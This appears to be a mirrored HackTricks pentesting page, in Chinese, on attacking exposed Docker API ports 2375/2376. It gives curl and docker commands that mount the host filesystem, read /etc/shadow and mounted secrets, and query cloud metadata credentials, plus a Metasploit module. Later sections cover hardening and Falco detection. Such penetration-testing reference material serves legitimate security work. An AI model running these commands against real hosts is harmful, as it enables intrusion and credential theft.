mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
316 lines
19 KiB
Markdown
316 lines
19 KiB
Markdown
# 2375, 2376 Pentesting Docker
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
### Docker 基础
|
||
|
||
#### 什么是
|
||
|
||
Docker 是 **容器化行业**中的 **前沿平台**,引领着 **持续创新**。它促进了应用程序的轻松创建和分发,从 **传统到未来**,并确保它们在不同环境中的 **安全部署**。
|
||
|
||
#### 基本 docker 架构
|
||
|
||
- [**containerd**](http://containerd.io): 这是一个 **容器的核心运行时**,负责全面 **管理容器的生命周期**。这包括处理 **镜像传输和存储**,以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解** 在 **进一步探讨** 中。
|
||
- **container-shim** 在处理 **无头容器** 时扮演着关键角色,顺利接管 **runc** 在容器初始化后的工作。
|
||
- [**runc**](http://runc.io): 以其 **轻量级和通用的容器运行时** 能力而闻名,runc 与 **OCI 标准** 一致。它被 containerd 用于 **根据 OCI 指南启动和管理容器**,并从最初的 **libcontainer** 发展而来。
|
||
- [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要,确保 **高效交互**。
|
||
- [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着重要作用,最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。
|
||
|
||
#### 基本命令
|
||
```bash
|
||
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
|
||
docker info #Get more infomarion about docker settings
|
||
docker pull registry:5000/alpine #Download the image
|
||
docker inspect <containerid> #Get info of the contaienr
|
||
docker network ls #List network info
|
||
docker exec -it <containerid> /bin/sh #Get shell inside a container
|
||
docker commit <cotainerid> registry:5000/name-container #Update container
|
||
docker export -o alpine.tar <containerid> #Export container as tar file
|
||
docker save -o ubuntu.tar <image> #Export an image
|
||
docker ps -a #List running and stopped containers
|
||
docker stop <containedID> #Stop running container
|
||
docker rm <containerID> #Remove container ID
|
||
docker image ls #List images
|
||
docker rmi <imgeID> #Remove image
|
||
docker system prune -a
|
||
#This will remove:
|
||
# - all stopped containers
|
||
# - all networks not used by at least one container
|
||
# - all images without at least one container associated to them
|
||
# - all build cache
|
||
```
|
||
#### Containerd
|
||
|
||
**Containerd** 是专门为满足 **Docker 和 Kubernetes** 等容器平台的需求而开发的。它旨在通过抽象操作系统特定的功能和系统调用,**简化在各种操作系统上执行容器** 的过程,包括 Linux、Windows、Solaris 等。Containerd 的目标是仅包含用户所需的基本功能,努力省略不必要的组件。然而,完全实现这一目标被认为是具有挑战性的。
|
||
|
||
一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素,具有软件定义网络 (SDN) 和服务发现等复杂性,这些在不同平台之间差异显著。因此,Containerd 将网络方面的管理留给它所支持的平台。
|
||
|
||
虽然 **Docker 利用 Containerd** 来运行容器,但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体而言,Containerd 缺乏 Docker 中存在的网络管理能力,并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色,将更专业的功能委托给它所集成的平台。
|
||
```bash
|
||
#Containerd CLI
|
||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||
ctr images list #List images
|
||
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
|
||
ctr container list #List containers
|
||
ctr container info <containerName> #Get container info
|
||
ctr task start <containerName> #You are given a shell inside of it
|
||
ctr task list #Get status of containers
|
||
ctr tasks attach <containerName> #Get shell in running container
|
||
ctr task pause <containerName> #Stop container
|
||
ctr tasks resume <containerName> #Resume cotainer
|
||
ctr task kill -s SIGKILL <containerName> #Stop running container
|
||
ctr container delete <containerName>
|
||
```
|
||
#### Podman
|
||
|
||
**Podman** 是一个遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers) 的开源容器引擎,由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性,特别是其 **无守护进程架构** 和对 **无根容器** 的支持,使用户能够在没有根权限的情况下运行容器。
|
||
|
||
Podman 旨在与 Docker 的 API 兼容,允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统,包括用于构建容器镜像的工具 **Buildah** 和用于图像操作(如推送、拉取和检查)的 **Skopeo**。有关这些工具的更多详细信息,请访问它们的 [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)。
|
||
|
||
**主要区别**
|
||
|
||
- **架构**:与 Docker 的客户端-服务器模型和后台守护进程不同,Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行,通过消除对根访问的需求来增强安全性。
|
||
- **Systemd 集成**:Podman 与 **systemd** 集成以管理容器,允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护进程的 systemd 使用形成对比。
|
||
- **无根容器**:Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得被攻陷用户的权限,而不是根访问,来最小化与容器漏洞相关的风险。
|
||
|
||
Podman 的方法提供了一个安全且灵活的 Docker 替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
|
||
|
||
> [!TIP]
|
||
> 请注意,由于 podman 旨在支持与 docker 相同的 API,您可以使用与 docker 相同的命令来使用 podman,例如:
|
||
>
|
||
> ```bash
|
||
> podman --version
|
||
> podman info
|
||
> pdoman images ls
|
||
> podman ls
|
||
> ```
|
||
|
||
### 基本信息
|
||
|
||
当启用时,远程 API 默认在 2375 端口上运行。该服务默认不需要身份验证,允许攻击者启动特权 docker 容器。通过使用远程 API,可以将主机 /(根目录)附加到容器并读取/写入主机环境的文件。
|
||
|
||
**默认端口:** 2375
|
||
```
|
||
PORT STATE SERVICE
|
||
2375/tcp open docker
|
||
```
|
||
### 枚举
|
||
|
||
#### 手动
|
||
|
||
请注意,为了枚举 docker API,您可以使用 `docker` 命令或 `curl`,如以下示例所示:
|
||
```bash
|
||
#Using curl
|
||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
|
||
|
||
#Using docker
|
||
docker -H open.docker.socket:2375 version #Get version
|
||
Client: Docker Engine - Community
|
||
Version: 19.03.1
|
||
API version: 1.40
|
||
Go version: go1.12.5
|
||
Git commit: 74b1e89
|
||
Built: Thu Jul 25 21:21:05 2019
|
||
OS/Arch: linux/amd64
|
||
Experimental: false
|
||
|
||
Server: Docker Engine - Community
|
||
Engine:
|
||
Version: 19.03.1
|
||
API version: 1.40 (minimum version 1.12)
|
||
Go version: go1.12.5
|
||
Git commit: 74b1e89
|
||
Built: Thu Jul 25 21:19:41 2019
|
||
OS/Arch: linux/amd64
|
||
Experimental: false
|
||
containerd:
|
||
Version: 1.2.6
|
||
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
|
||
runc:
|
||
Version: 1.0.0-rc8
|
||
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
|
||
docker-init:
|
||
Version: 0.18.0
|
||
GitCommit: fec3683
|
||
```
|
||
如果您可以 **使用 `docker` 命令联系远程 docker API**,您可以 **执行** 任何 **之前评论过的** **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
|
||
|
||
> [!TIP]
|
||
> 您可以 `export DOCKER_HOST="tcp://localhost:2375"` 并 **避免** 在 docker 命令中使用 `-H` 参数
|
||
|
||
**快速权限提升**
|
||
```bash
|
||
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
||
```
|
||
**Curl**
|
||
|
||
有时你会看到 **2376** 在 **TLS** 端点上。我无法通过 docker 客户端连接到它,但可以使用 curl 进行连接。
|
||
```bash
|
||
#List containers
|
||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||
#List processes inside a container
|
||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||
#Set up and exec job to hit the metadata URL
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||
#Get the output
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||
# list secrets (no secrets/swarm not set up)
|
||
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
|
||
#Check what is mounted
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
|
||
#Get the output by starting the exec
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
|
||
#Cat the mounted secret
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
|
||
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
|
||
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
|
||
#Creating a container that has mounted the host file system and read /etc/shadow
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
|
||
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
|
||
#Stop the container
|
||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
|
||
#Delete stopped containers
|
||
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
||
```
|
||
如果您想要更多信息,可以在我复制命令的地方找到更多信息:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
||
|
||
#### 自动
|
||
```bash
|
||
msf> use exploit/linux/http/docker_daemon_tcp
|
||
nmap -sV --script "docker-*" -p <PORT> <IP>
|
||
```
|
||
### 破坏
|
||
|
||
在以下页面中,您可以找到**从docker容器中逃脱**的方法:
|
||
|
||
{{#ref}}
|
||
../linux-hardening/privilege-escalation/docker-security/
|
||
{{#endref}}
|
||
|
||
利用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱并破坏该机器:
|
||
```bash
|
||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||
cat /mnt/etc/shadow
|
||
```
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
|
||
|
||
### 权限提升
|
||
|
||
如果您在使用 docker 的主机内部,您可以 [**阅读此信息以尝试提升权限**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket)。
|
||
|
||
### 在运行的 Docker 容器中发现秘密
|
||
```bash
|
||
docker ps [| grep <kubernetes_service_name>]
|
||
docker inspect <docker_id>
|
||
```
|
||
检查 **env**(环境变量部分)以查找秘密,您可能会发现:
|
||
|
||
- 密码。
|
||
- IP 地址。
|
||
- 端口。
|
||
- 路径。
|
||
- 其他……。
|
||
|
||
如果您想提取文件:
|
||
```bash
|
||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||
```
|
||
### Securing your Docker
|
||
|
||
#### Securing Docker installation and usage
|
||
|
||
- 您可以使用工具 [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) 来检查您当前的 docker 安装。
|
||
- `./docker-bench-security.sh`
|
||
- 您可以使用工具 [https://github.com/kost/dockscan](https://github.com/kost/dockscan) 来检查您当前的 docker 安装。
|
||
- `dockscan -v unix:///var/run/docker.sock`
|
||
- 您可以使用工具 [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) 来检查容器在不同安全选项下的权限。这对于了解使用某些安全选项运行容器的影响非常有用:
|
||
- `docker run --rm -it r.j3ss.co/amicontained`
|
||
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||
|
||
#### Securing Docker Images
|
||
|
||
- 您可以使用 [https://github.com/quay/clair](https://github.com/quay/clair) 的 docker 镜像来扫描您的其他 docker 镜像并查找漏洞。
|
||
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
||
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
||
|
||
#### Securing Dockerfiles
|
||
|
||
- 您可以使用工具 [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) 来 **检查您的 Dockerfile** 并查找各种错误配置。每个错误配置将被分配一个 ID,您可以在这里找到 [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) 如何修复它们。
|
||
- `dockerfilelinter -f Dockerfile`
|
||
|
||
.png>)
|
||
|
||
- 您可以使用工具 [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
|
||
- `dockerfilelint Dockerfile`
|
||
|
||
.png>)
|
||
|
||
- 您可以使用工具 [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
|
||
- `dockerlint Dockerfile`
|
||
|
||
.png>)
|
||
|
||
- 您可以使用工具 [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) 来 **检查您的 Dockerfile** 并查找各种错误配置。
|
||
- `hadolint Dockerfile`
|
||
|
||
.png>)
|
||
|
||
#### Logging Suspicious activity
|
||
|
||
- 您可以使用工具 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) 来检测 **正在运行的容器中的可疑行为**。
|
||
- 请注意以下代码块中 **Falco 编译内核模块并插入它**。之后,它加载规则并 **开始记录可疑活动**。在这种情况下,它检测到启动了 2 个特权容器,其中 1 个具有敏感挂载,几秒钟后它检测到在其中一个容器内打开了一个 shell。
|
||
```bash
|
||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||
* Setting up /usr/src links from host
|
||
* Unloading falco-probe, if present
|
||
* Running dkms install for falco
|
||
|
||
Kernel preparation unnecessary for this kernel. Skipping...
|
||
|
||
Building module:
|
||
cleaning build area......
|
||
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
|
||
cleaning build area......
|
||
|
||
DKMS: build completed.
|
||
|
||
falco-probe.ko:
|
||
Running module version sanity check.
|
||
modinfo: ERROR: missing module or filename.
|
||
- Original module
|
||
- No original module exists within this kernel
|
||
- Installation
|
||
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
|
||
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
|
||
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
|
||
|
||
depmod...
|
||
|
||
DKMS: install completed.
|
||
* Trying to load a dkms falco-probe, if present
|
||
falco-probe found and loaded in dkms
|
||
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
|
||
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
|
||
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
|
||
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
|
||
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
|
||
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
|
||
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
|
||
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
|
||
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
|
||
```
|
||
#### 监控 Docker
|
||
|
||
您可以使用 auditd 来监控 docker。
|
||
|
||
### 参考文献
|
||
|
||
- [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||
- [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|